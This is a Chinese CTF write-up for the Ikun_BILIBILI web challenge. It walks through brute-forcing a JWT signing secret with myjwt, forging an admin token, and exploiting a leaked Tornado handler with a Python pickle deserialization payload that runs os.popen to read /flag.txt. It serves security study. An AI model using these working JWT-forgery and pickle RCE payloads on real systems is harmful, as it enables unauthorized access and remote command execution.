攻防世界——WEB题目Ikun_BILIBILI

BUUCTF 刷题ikun_bilibili应援团(JWT伪造、python反序列化)

一、获取lv6账号位置

import requests
target = "http://111.200.241.244:61777/shop?page=%d"
for i in range(500):
    print(i)
    res = requests.get(target%(i)).text
    if "lv6.png" in res:
        print(target%(i))
        break

http://111.200.241.244:61777/shop?page=181

二、抓包结算页面

发现只有更改discount参数有效果,跳转到http://111.200.241.244:61777/b1g_m4mber界面,然而此页面有权限限制。此时主要有两种思路1、看看有无sql注入的洞,能不能拿到admin账号。2、伪造admin的jwt。

攻防世界——WEB题目Ikun_BILIBILI_第1张图片

三、 sql注入

未找到注入漏洞,后来获得源码后看到其为orm查询,使用了 ORM 之后,Relational DB 的接口被完全封装在 ORM 机制内部,不对外暴露,当然防止了 SQL 注入攻击

     user = self.orm.query(User).filter(User.username == username).one()

四、jwt伪造

攻防世界——WEB题目Ikun_BILIBILI_第2张图片

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZSJ9.U_RNAhBZvEMY1nwmWWeA3Vh50ghzJb0R7qV-uAS1V78

jwt(json web token)类似于session也是会话保持的一种技术,由三个部分组成,由**.分隔,第一部分为头部(header),第二部分为载荷(payload),第三部分是签名(signature).前两个部分都为base64加密,而第三部分签名由header指定的加密算法加盐**加密(secret key),通常直接使用 HMAC SHA256.

详见blog:什么是 JWT – JSON WEB TOKEN - 简书 (jianshu.com)

1、爆破 secret_key

用myjwt工具爆破出盐值secret_key,还有一种c-jwt-cracker的工具更方便,不用指定正则和字典。

工具用法:[MyJWT-Json网站令牌渗透测试工具Json Web Token(JWT) | 雨苁ℒ (ddosi.com)](https://www.freebuf.com/sectool/262183.html)

攻防世界——WEB题目Ikun_BILIBILI_第3张图片

# 爆破
myjwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZSJ9.U_RNAhBZvEMY1nwmWWeA3Vh50ghzJb0R7qV-uAS1V78 --crack "[A-Za-z0-9]{4}"
# 更换payload
myjwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InF3ZSJ9.U_RNAhBZvEMY1nwmWWeA3Vh50ghzJb0R7qV-uAS1V78 --add-payload "username=admin" --sign 1Kun


new JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

成功登录为admin

攻防世界——WEB题目Ikun_BILIBILI_第4张图片

五、查看源代码

]

可以看到有代码泄漏

在泄漏的源代码文件Admin.py中,存在python反序列化漏洞

 try:
            become = self.get_argument('become')
            p = pickle.loads(urllib.unquote(become))
            return self.render('form.html', res=p, member=1)
 except:
            return self.render('form.html', res='This is Black Technology!', member=0)

payload脚本 ,此处靶机用python2,linux,最好也用相同的环境生成payload

class A(object):
    def __reduce__(self):
        # a = "__import__('os').popen('ls').read()"
        # a = "__import__('os').popen('ls').read()"
        a = "__import__('os').popen('cat /flag.txt').read()"
        return (eval,(a,))

print(urllib2.quote(pickle.dumps(A())))

用bp改become值,找到flag位置,cat /flag.txt
攻防世界——WEB题目Ikun_BILIBILI_第5张图片
攻防世界——WEB题目Ikun_BILIBILI_第6张图片

你可能感兴趣的:(CTF,信息安全,jwt,安全,tornado,python)